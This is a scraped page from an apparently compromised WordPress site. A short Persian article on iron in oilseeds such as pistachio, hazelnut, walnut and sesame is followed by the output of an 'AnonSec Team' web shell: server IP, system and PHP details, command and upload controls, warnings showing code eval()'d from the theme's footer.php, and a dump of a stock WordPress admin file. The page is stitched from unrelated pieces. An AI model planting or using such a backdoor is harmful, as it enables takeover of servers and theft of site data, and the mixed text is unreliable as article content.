انواع دانه های روغنی حاوی آهن

یکی از ویژگی های مثبت و قابل توجه برای انواع دانه های روغنی این است که حاوی مقادیر قابل توجهی آهن می باشد. آیا همه دانه های روغنی دارای آهن می باشند؟
به طور کلی برخی از ویتامین ها و مواد معدنی در بین عوام از اهمیت بیشتری برخوردار می شوند، شاید در بین مردن کسی پتاسیم و منیزیم را نشناسد و نداند این مواد چه تاثیری در بدن خواهند گذاشت، این در حالی است عموم افراد آهن و اثرات کمبود آن در بدن را به خوبی می شناسند.
شاید دلیل این موارد توجه بیش از حد به این گونه مواد می باشد، دانه های روغنی همواره به عنوان یکی از دسته های مهم مواد غذایی مورد توجه قرار می گیرند، این دانه ها که ترکیب اصلی آن ها چربی غیر اشباع شده می باشد، برای تامین بسیاری از نیاز های بدنی پیشنهاد می شوند.

انواع دانه های روغنی

دانه های روغنی و آهن موجود در آن

آهن یکی از مواد معدنی می باشد که برای رشد ذهنی افراد بسیار مفید است، همچنین مصرف آهن در جلوگیری از کم خونی نیز موثر می باشد، به طور کلی کمبود آهن باعث به وجود آمدن مشکلات عدیده ای خواهد شد، به همین دلیل است که پزشکان برای کسانی که کمبود آهن داشته باشند، داروی شیمیایی آن را تجویز می نمایند.
بسیاری از منابع از انواع دانه های روغنی به عنوان منبعی از آهن نام برده اند، دانه های روغنی همچون پسته، فندق، گردو و کنجد به راحتی می توانند آهن مورد نیاز بدن را فراهم کنند، ضمن این که این دانه های روغنی با داشتن اسید های چرب ضروری امگا در تقویت سیستم مغز و قلب و عروق کارساز خواهند بود.

ÿØÿà JFIF ÿþ; AnonSec Team
AnonSec Team
Server IP : 37.187.155.34  /  Your IP : 18.221.142.39
Web Server : LiteSpeed
System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : oilse103 ( 1565)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF
Directory (0755) :  /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/edit-link-form.php
<?php
/**
 * Edit links form for inclusion in administration panels.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

if ( ! empty( $link_id ) ) {
	/* translators: %s: URL to Links screen. */
	$heading      = sprintf( __( '<a href="%s">Links</a> / Edit Link' ), 'link-manager.php' );
	$submit_text  = __( 'Update Link' );
	$form_name    = 'editlink';
	$nonce_action = 'update-bookmark_' . $link_id;
} else {
	/* translators: %s: URL to Links screen. */
	$heading      = sprintf( __( '<a href="%s">Links</a> / Add New Link' ), 'link-manager.php' );
	$submit_text  = __( 'Add Link' );
	$form_name    = 'addlink';
	$nonce_action = 'add-bookmark';
}

require_once ABSPATH . 'wp-admin/includes/meta-boxes.php';

add_meta_box( 'linksubmitdiv', __( 'Save' ), 'link_submit_meta_box', null, 'side', 'core' );
add_meta_box( 'linkcategorydiv', __( 'Categories' ), 'link_categories_meta_box', null, 'normal', 'core' );
add_meta_box( 'linktargetdiv', __( 'Target' ), 'link_target_meta_box', null, 'normal', 'core' );
add_meta_box( 'linkxfndiv', __( 'Link Relationship (XFN)' ), 'link_xfn_meta_box', null, 'normal', 'core' );
add_meta_box( 'linkadvanceddiv', __( 'Advanced' ), 'link_advanced_meta_box', null, 'normal', 'core' );

/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'add_meta_boxes', 'link', $link );

/**
 * Fires when link-specific meta boxes are added.
 *
 * @since 3.0.0
 *
 * @param object $link Link object.
 */
do_action( 'add_meta_boxes_link', $link );

/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'do_meta_boxes', 'link', 'normal', $link );
/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'do_meta_boxes', 'link', 'advanced', $link );
/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'do_meta_boxes', 'link', 'side', $link );

add_screen_option(
	'layout_columns',
	array(
		'max'     => 2,
		'default' => 2,
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
		'<p>' . __( 'You can add or edit links on this screen by entering information in each of the boxes. Only the link&#8217;s web address and name (the text you want to display on your site as the link) are required fields.' ) . '</p>' .
		'<p>' . __( 'The boxes for link name, web address, and description have fixed positions, while the others may be repositioned using drag and drop. You can also hide boxes you do not use in the Screen Options tab, or minimize boxes by clicking on the title bar of the box.' ) . '</p>' .
		'<p>' . __( 'XFN stands for <a href="https://gmpg.org/xfn/">XHTML Friends Network</a>, which is optional. WordPress allows the generation of XFN attributes to show how you are related to the authors/owners of the site to which you are linking.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Links_Add_New_Screen">Documentation on Creating Links</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $title );
?>
</h1>

<a href="link-add.php" class="page-title-action"><?php echo esc_html__( 'Add New Link' ); ?></a>

<hr class="wp-header-end">

<?php
if ( isset( $_GET['added'] ) ) {
	wp_admin_notice(
		__( 'Link added.' ),
		array(
			'id'                 => 'message',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
}
?>

<form name="<?php echo esc_attr( $form_name ); ?>" id="<?php echo esc_attr( $form_name ); ?>" method="post" action="link.php">
<?php
if ( ! empty( $link_added ) ) {
	echo $link_added;
}

wp_nonce_field( $nonce_action );
wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
?>

<div id="poststuff">

<div id="post-body" class="metabox-holder columns-<?php echo ( 1 === get_current_screen()->get_columns() ) ? '1' : '2'; ?>">
<div id="post-body-content">
<div id="namediv" class="postbox">
<h2 class="postbox-header"><label for="link_name"><?php _ex( 'Name', 'link name' ); ?></label></h2>
<div class="inside">
	<input type="text" name="link_name" size="30" maxlength="255" value="<?php echo esc_attr( $link->link_name ); ?>" id="link_name" />
	<p><?php _e( 'Example: Nifty blogging software' ); ?></p>
</div>
</div>

<div id="addressdiv" class="postbox">
<h2 class="postbox-header"><label for="link_url"><?php _e( 'Web Address' ); ?></label></h2>
<div class="inside">
	<input type="text" name="link_url" size="30" maxlength="255" class="code" value="<?php echo esc_url( $link->link_url ); ?>" id="link_url" />
	<p><?php _e( 'Example: <code>https://wordpress.org/</code> &#8212; do not forget the <code>https://</code>' ); ?></p>
</div>
</div>

<div id="descriptiondiv" class="postbox">
<h2 class="postbox-header"><label for="link_description"><?php _e( 'Description' ); ?></label></h2>
<div class="inside">
	<input type="text" name="link_description" size="30" maxlength="255" value="<?php echo isset( $link->link_description ) ? esc_attr( $link->link_description ) : ''; ?>" id="link_description" />
	<p><?php _e( 'This will be shown when someone hovers over the link in the blogroll, or optionally below the link.' ); ?></p>
</div>
</div>
</div><!-- /post-body-content -->

<div id="postbox-container-1" class="postbox-container">
<?php

/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'submitlink_box' );
$side_meta_boxes = do_meta_boxes( 'link', 'side', $link );

?>
</div>
<div id="postbox-container-2" class="postbox-container">
<?php

do_meta_boxes( null, 'normal', $link );

do_meta_boxes( null, 'advanced', $link );

?>
</div>
<?php

if ( $link_id ) :
	?>
<input type="hidden" name="action" value="save" />
<input type="hidden" name="link_id" value="<?php echo (int) $link_id; ?>" />
<input type="hidden" name="cat_id" value="<?php echo (int) $cat_id; ?>" />
<?php else : ?>
<input type="hidden" name="action" value="add" />
<?php endif; ?>

</div>
</div>

</form>
</div>

AnonSec - 2021